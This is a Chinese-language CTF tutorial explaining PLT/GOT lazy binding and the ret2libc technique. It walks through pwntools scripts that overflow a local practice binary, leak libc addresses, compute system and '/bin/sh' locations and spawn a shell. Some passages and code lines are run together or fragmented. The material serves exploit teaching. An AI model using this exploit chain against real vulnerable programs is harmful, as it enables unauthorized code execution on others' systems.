之前曾在Pwn入门之基础栈溢出里面曾经提过ret2libc的相关知识,但是写的比较笼统,感觉对新手还是不够友好,想通过本文对ret2libc的原理和利用进行详细讲解。
got表也叫全局偏移表(Global Offset Table)是Linux ELF文件中用于定位全局变量和函数的一个表。
plt表也叫过程链接表(Procedure Linkage Table)是Linux ELF文件中用于延迟绑定的表恶,即函数第一次被调用的时候才进行绑定。
在程序运行过程中,plt表和got表的运行过程大致如下:
用一句话来总结就是,可执行文件里保存的是plt表的地址,对应plt地址指向的是got的地址,got表指向的是glibc中的地址
在这里如果需要通过plt表获取函数的地址,需要保证got表已经获取了正确的地址,但如果一开始对所有函数都进行了重定位是比较麻烦且浪费资源,为此,Linux引入了延迟绑定机制。
这种机制存在的目的是glibc为了节约系统资源,提高性能。其详细过程如下
源程序在第一次调用一个函数时,首先去
如果存在一个tide函数,这个函数在plt中的条目为[email protected],在got中的条目为[email protected],那么在第一次调用bar函数时,首先会跳转到plt,伪代码如下:
[email protected];
jmp [email protected]
patch [email protected]
这里会从PLT跳到GOT,如果函数从来没有调用过,那这时GOT会跳转回PLT并调用patch [email protected],这行代码的作用是将bar函数真正的地址填充到[email protected],然后跳转到bar函数真正的地址执行代码。当下次再次调用bar函数的时候,执行路径就是先跳转到[email protected]、[email protected]、tide真正的地址。
简而言之就是,当一个函数被调用过后,got表里保存了他在内存中的地址,可以通过泄漏got表内存来泄漏函数地址,然后可以根据起泄漏的函数地址获得其libc版本,从而计算其他函数在内存空间中的地址。因为libc中任意两个函数之间的偏移是固定的。
以计算system函数在内存空间中的函数地址举例。
__libc_start_main
函数在内存空间中的地址addr_main
__libc_start_main
函数相对于libc.so.6
的起始地址是addr_main_offset
libc.so.6
的起始地址是addr_system_offset
system
函数在内存中真正的地址为addr_main
+addr_system_offset
-addr_main_offset
__libc_start_main
函数的地址__libc_start_main
函数在got表的地址_start
函数的地址puts
函数在plt
表中的地址__libc_start_main
函数在got表中的地址_start
函数的地址puts
函数在plt
表中的地址puts
函数后,ret
到main
函数,用main
函数里面的gets
来获取libc_start
的地址from pwn import *
sh = process('./ret2libc3')
puts_plt = 0x8048460
addr_start = 0x80484d0
got_libc_start = 0x804a024
payload = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_libc_start)
sh.recv()
sh.sendline(payload)
puts_addr = u32(sh.recv(4))
success("__libc_start_addr is:" + hex(puts_addr))
sh.recv()
libc database search
(https://libc.blukat.me/)进行查询(网上普遍推荐的是利用LibcSearcher,但是我用LibcSearcher一直没打通)puts
的地址from pwn import *
sh = process('./ret2libc3')
puts_plt = 0x8048460
addr_start = 0x80484d0
got_libc_start = 0x804a024
got_puts = 0x804a018# 获取__libc_start的地址
payload1 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_libc_start)
sh.recv()
sh.sendline(payload1)
libc_start_addr = u32(sh.recv(4))
success("__libc_start_addr is:" + hex(libc_start_addr))
# 获取puts的地址
payload2 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_puts)
sh.recv()
sh.sendline(payload2)
puts_addr = u32(sh.recv(4))
success("puts_addr is:" + hex(puts_addr))
from pwn import *
sh = process('./ret2libc3')
puts_plt = 0x8048460
addr_start = 0x80484d0
got_libc_start = 0x804a024
got_puts = 0x804a018# 获取__libc_start的地址
payload1 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_libc_start)
sh.recv()
sh.sendline(payload1)
libc_start_addr = u32(sh.recv(4))
success("__libc_start_addr is:" + hex(libc_start_addr))
# 获取puts的地址
payload2 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_puts)
sh.recv()
sh.sendline(payload2)
puts_addr = u32(sh.recv(4))
success("puts_addr is:" + hex(puts_addr))
sh.recv()libc_start = #通过libc database search获取
libc_system = #通过libc database search获取
libc_binsh = #通过libc database search获取libcbase = libc_start_addr - libc_start
system_addr = libcbase + libc_system
binsh_addr = libcbase + libc_binshpayload = 112 * b'a' + p32(system_addr) + 4 * b'a' + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
libc6_2.31-0ubuntu9_i386
from pwn import *
sh = process('./ret2libc3')
puts_plt = 0x8048460
addr_start = 0x80484d0
got_libc_start = 0x804a024
got_puts = 0x804a018# 获取__libc_start的地址
payload1 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_libc_start)
sh.recv()
sh.sendline(payload1)
libc_start_addr = u32(sh.recv(4))
success("__libc_start_addr is:" + hex(libc_start_addr))
# 获取puts的地址
payload2 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_puts)
sh.recv()
sh.sendline(payload2)
puts_addr = u32(sh.recv(4))
success("puts_addr is:" + hex(puts_addr))
sh.recv()libc_start = 0x01edf0
libc_system = 0x045830
libc_binsh = 0x192352libcbase = libc_start_addr - libc_start
system_addr = libcbase + libc_system
binsh_addr = libcbase + libc_binshpayload = 112 * b'a' + p32(system_addr) + 4 * b'a' + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
往期推荐
E
N
D
团队内部平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台 | ......
星球分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享
星球知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......
星球网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑 | ......
扫码加入一起学习吧~